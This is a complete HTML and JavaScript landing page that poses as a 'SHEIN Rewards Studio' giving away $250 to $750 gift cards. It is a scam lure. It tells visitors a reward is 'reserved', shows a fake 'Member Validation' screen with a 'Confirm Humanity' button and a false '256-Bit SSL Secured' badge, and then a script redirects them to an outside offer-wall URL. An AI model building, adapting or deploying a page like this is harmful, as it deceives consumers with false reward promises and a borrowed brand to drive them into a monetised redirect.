<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SHEIN Rewards Studio | Member Access</title>
<!-- Tailwind CSS -->
<script src="https://cdn.tailwindcss.com"></script>
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500;600;700&family=Playfair+Display:ital,wght@0,400;0,600;1,400;1,700&display=swap" rel="stylesheet">
<style>
:root {
--champagne: #f7ede2;
--gold-accent: #c5a059;
--onyx: #1a1a1a;
--soft-white: #ffffff;
}
body {
font-family: 'Montserrat', sans-serif;
background-color: var(--soft-white);
scroll-behavior: smooth;
color: var(--onyx);
}
h1, h2, h3, h4 { font-family: 'Playfair Display', serif; }
/* Floating Luxury Header */
.nav-glass {
background: rgba(255, 255, 255, 0.8);
backdrop-filter: blur(15px);
border-bottom: 1px solid rgba(0, 0, 0, 0.05);
transition: all 0.3s ease;
}
.nav-link {
position: relative;
transition: color 0.3s ease;
}
.nav-link::after {
content: '';
position: absolute;
bottom: -4px;
left: 0;
width: 0;
height: 1px;
background: var(--gold-accent);
transition: width 0.3s ease;
}
.nav-link:hover::after {
width: 100%;
}
/* Hero Layout Fix */
.hero-split {
display: grid;
grid-template-columns: 1.2fr 0.8fr;
min-height: 90vh;
align-items: center;
}
@media (max-width: 1024px) {
.hero-split {
grid-template-columns: 1fr;
text-align: center;
padding-top: 120px;
}
}
.hero-image-box {
position: relative;
height: 80vh;
width: 100%;
border-radius: 200px 0 0 200px;
overflow: hidden;
box-shadow: -20px 20px 60px rgba(0,0,0,0.05);
}
@media (max-width: 1024px) {
.hero-image-box {
height: 400px;
border-radius: 40px;
margin-top: 40px;
}
}
.btn-luxury {
background: var(--onyx);
color: white;
transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
cursor: pointer;
letter-spacing: 0.15em;
}
.btn-luxury:hover {
background: var(--gold-accent);
transform: translateY(-3px);
box-shadow: 0 15px 30px rgba(197, 160, 89, 0.2);
}
.fade-in { animation: fadeIn 1.2s ease-out forwards; }
@keyframes fadeIn { from { opacity: 0; transform: translateY(30px); } to { opacity: 1; transform: translateY(0); } }
.modal-overlay { background: rgba(26, 26, 26, 0.8); backdrop-filter: blur(10px); }
.section-accent { background-color: var(--champagne); }
.reward-card {
background: white;
border: 1px solid rgba(0,0,0,0.03);
transition: all 0.3s ease;
}
.reward-card:hover {
border-color: var(--gold-accent);
transform: translateY(-10px);
}
</style>
</head>
<body class="antialiased overflow-x-hidden">
<!-- NAVIGATION: Redesigned for Luxury -->
<nav class="nav-glass fixed top-0 w-full z-[100] py-5 px-8 md:px-16 flex justify-between items-center">
<div class="flex flex-col">
<span class="text-2xl font-bold tracking-[0.5em] text-black leading-none uppercase">SHEIN</span>
<span class="text-[9px] tracking-[0.6em] text-gold-accent font-bold mt-1 uppercase">Rewards Studio</span>
</div>
<div class="hidden md:flex items-center space-x-12">
<div class="flex space-x-10 text-[10px] uppercase tracking-[0.2em] font-bold">
<a href="javascript:void(0)" onclick="scrollToSection('rewards')" class="nav-link">Collections</a>
<a href="javascript:void(0)" onclick="scrollToSection('how-it-works')" class="nav-link">The Process</a>
<a href="javascript:void(0)" onclick="scrollToSection('verify')" class="nav-link">Support</a>
</div>
<button onclick="scrollToSection('rewards')" class="border border-black px-6 py-2 rounded-full text-[9px] font-bold uppercase tracking-widest hover:bg-black hover:text-white transition">
Access Rewards
</button>
</div>
<!-- Mobile Menu Placeholder -->
<div class="md:hidden">
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16m-7 6h7"></path></svg>
</div>
</nav>
<!-- HERO SECTION: Redesigned Split Layout -->
<section class="relative bg-white">
<div class="container mx-auto px-6 lg:px-16 hero-split">
<!-- Left Side: Clean Typography -->
<div class="fade-in pr-0 lg:pr-20">
<div class="inline-flex items-center space-x-4 mb-6">
<span class="h-[1px] w-8 bg-gold-accent"></span>
<span class="text-[10px] uppercase tracking-[0.4em] text-gold-accent font-bold">Exclusively for Members</span>
</div>
<h1 class="text-6xl md:text-8xl lg:text-9xl mb-8 leading-[0.9]">
Luxury <br>
<span class="italic font-light text-gray-300">Gift Cards</span>
</h1>
<p class="text-gray-500 text-lg md:text-xl max-w-xl leading-relaxed font-light mb-12">
Experience the next level of fashion rewards. Our Studio provides verified users with premium SHEIN Gift Cards ranging from <span class="text-black font-medium">$250 to $750</span>.
</p>
<div class="flex flex-col sm:flex-row gap-6">
<button onclick="scrollToSection('rewards')" class="btn-luxury px-12 py-6 rounded-full text-[11px] font-bold uppercase shadow-2xl">
Claim Your Credit
</button>
<button onclick="scrollToSection('how-it-works')" class="group flex items-center space-x-4 text-[11px] font-bold uppercase tracking-widest">
<span>How it works</span>
<span class="w-8 h-8 rounded-full border border-gray-200 flex items-center justify-center group-hover:bg-black group-hover:text-white transition">
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path></svg>
</span>
</button>
</div>
</div>
<!-- Right Side: Editorial Visual -->
<div class="fade-in" style="animation-delay: 0.3s;">
<div class="hero-image-box">
<img src="https://images.unsplash.com/photo-1490481651871-ab68de25d43d?q=80&w=1200&auto=format&fit=crop"
alt="High-end Fashion"
class="w-full h-full object-cover">
</div>
</div>
</div>
</section>
<!-- PHASE 2: REWARD SELECTION -->
<section id="rewards" class="py-32 section-accent">
<div class="container mx-auto px-6">
<div class="text-center mb-20">
<h2 class="text-5xl md:text-6xl mb-6 font-bold">The Reward Suite</h2>
<p class="text-gray-500 max-w-xl mx-auto font-light leading-relaxed">Choose your preferred SHEIN gift card amount to begin the verification process.</p>
</div>
<div class="grid lg:grid-cols-3 gap-12">
<!-- Reward 1 -->
<div class="reward-card rounded-[40px] p-12 flex flex-col items-center text-center shadow-xl shadow-gray-200/50">
<div class="text-[10px] uppercase tracking-[0.4em] text-gray-400 mb-10 font-bold">Boutique Access</div>
<div class="text-6xl font-bold mb-4">$250</div>
<p class="text-gray-400 text-sm mb-12 font-light italic">SHEIN GIFT CARD</p>
<button onclick="openConfirmation('$250 Gift Card')" class="w-full py-5 rounded-full border-2 border-gray-100 text-[10px] uppercase tracking-widest font-bold hover:bg-black hover:text-white transition-all">Select Tier</button>
</div>
<!-- Reward 2: Featured -->
<div class="reward-card rounded-[40px] p-12 flex flex-col items-center text-center ring-4 ring-gold-accent relative shadow-2xl">
<div class="absolute -top-5 left-1/2 -translate-x-1/2 bg-gold-accent text-white px-8 py-2 rounded-full text-[10px] uppercase tracking-[0.3em] font-bold shadow-lg">Featured Selection</div>
<div class="text-[10px] uppercase tracking-[0.4em] text-gold-accent font-bold mb-10 mt-4">Premium Studio</div>
<div class="text-7xl font-bold mb-4">$500</div>
<p class="text-gray-400 text-sm mb-12 font-light italic">SHEIN GIFT CARD</p>
<button onclick="openConfirmation('$500 Gift Card')" class="w-full btn-luxury py-6 rounded-full text-[10px] uppercase tracking-widest font-bold shadow-xl">Select Premium</button>
</div>
<!-- Reward 3 -->
<div class="reward-card rounded-[40px] p-12 flex flex-col items-center text-center shadow-xl shadow-gray-200/50">
<div class="text-[10px] uppercase tracking-[0.4em] text-gray-400 mb-10 font-bold">Elite Wardrobe</div>
<div class="text-6xl font-bold mb-4">$750</div>
<p class="text-gray-400 text-sm mb-12 font-light italic">SHEIN GIFT CARD</p>
<button onclick="openConfirmation('$750 Gift Card')" class="w-full py-5 rounded-full border-2 border-gray-100 text-[10px] uppercase tracking-widest font-bold hover:bg-black hover:text-white transition-all">Select Tier</button>
</div>
</div>
</div>
</section>
<!-- FOOTER -->
<footer class="bg-white border-t border-gray-100 py-24 px-6 text-center" id="verify">
<div class="text-2xl font-bold tracking-[0.5em] text-black mb-8 uppercase">SHEIN STUDIO</div>
<p class="text-[10px] text-gray-400 uppercase tracking-[0.3em] max-w-lg mx-auto leading-loose mb-10">
Rewards are subject to member verification and inventory availability. Not officially affiliated with SHEIN Inc.
</p>
<div class="flex justify-center space-x-8 text-[9px] uppercase tracking-widest text-gray-400 font-bold">
<a href="#" class="hover:text-gold-accent transition">Privacy Policy</a>
<a href="#" class="hover:text-gold-accent transition">Terms of Service</a>
<a href="#" class="hover:text-gold-accent transition">Support</a>
</div>
</footer>
<!-- MODALS & SCRIPT REMAIN THE SAME -->
<div id="confirmationModal" class="fixed inset-0 z-[200] hidden flex items-center justify-center px-4">
<div class="modal-overlay absolute inset-0" onclick="closeConfirmation()"></div>
<div class="bg-white max-w-md w-full rounded-[60px] p-12 relative z-10 shadow-2xl text-center fade-in">
<div class="mb-10">
<span class="inline-block px-5 py-2 rounded-full border border-gold-accent text-gold-accent text-[9px] uppercase tracking-widest font-bold mb-6">Reservation Successful</span>
<h3 class="text-4xl">Release <span id="selectedTier" class="italic"></span>?</h3>
</div>
<p class="text-gray-500 mb-10 text-sm font-light leading-relaxed">Your reward has been temporarily reserved. To release the digital code, please complete the secure human-validation step.</p>
<button onclick="goToVerification()" class="w-full btn-luxury py-6 rounded-full text-[11px] font-bold uppercase shadow-2xl">
Start Secure Verification
</button>
</div>
</div>
<!-- VERIFICATION PAGE -->
<div id="verificationScreen" class="fixed inset-0 z-[210] hidden bg-white flex flex-col items-center justify-center px-6 text-center">
<div class="max-w-md w-full space-y-12 fade-in">
<div class="space-y-6">
<div class="mx-auto w-16 h-16 text-gold-accent mb-8">
<svg fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="1" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"></path></svg>
</div>
<h2 class="text-5xl md:text-6xl leading-[0.9]">Member <br>Validation</h2>
<p class="text-gray-500 text-sm font-light italic">Confirm your status to release your gift card.</p>
</div>
<div class="p-10 border border-gray-100 rounded-[50px] bg-[#fdfaf8] shadow-inner">
<button onclick="triggerOfferWall()" id="verifyBtn" class="w-full btn-luxury py-6 rounded-full text-[11px] font-bold uppercase shadow-2xl mb-8">
Confirm Humanity
</button>
<div class="flex items-center justify-center space-x-3">
<span class="w-2 h-2 bg-green-500 rounded-full animate-pulse"></span>
<span class="text-[10px] text-gray-400 uppercase tracking-[0.3em] font-bold">256-Bit SSL Secured</span>
</div>
</div>
<div id="loadingStatus" class="hidden text-gold-accent font-bold text-xs uppercase tracking-widest animate-pulse">Routing to gateway...</div>
</div>
</div>
<script>
function scrollToSection(id) {
const element = document.getElementById(id);
if (element) {
element.scrollIntoView({ behavior: 'smooth' });
}
}
function openConfirmation(tierName) {
document.getElementById('selectedTier').innerText = tierName;
document.getElementById('confirmationModal').classList.remove('hidden');
document.body.style.overflow = 'hidden';
}
function closeConfirmation() {
document.getElementById('confirmationModal').classList.add('hidden');
document.body.style.overflow = 'auto';
}
function goToVerification() {
document.getElementById('confirmationModal').classList.add('hidden');
document.getElementById('verificationScreen').classList.remove('hidden');
}
function triggerOfferWall() {
const btn = document.getElementById('verifyBtn');
btn.innerHTML = "Processing Gateway...";
btn.disabled = true;
document.getElementById('loadingStatus').classList.remove('hidden');
setTimeout(() => {
window.location.href = "https://lockedpage1.website/cl/i/qkv7w4";
}, 800);
}
</script>
</body>
</html>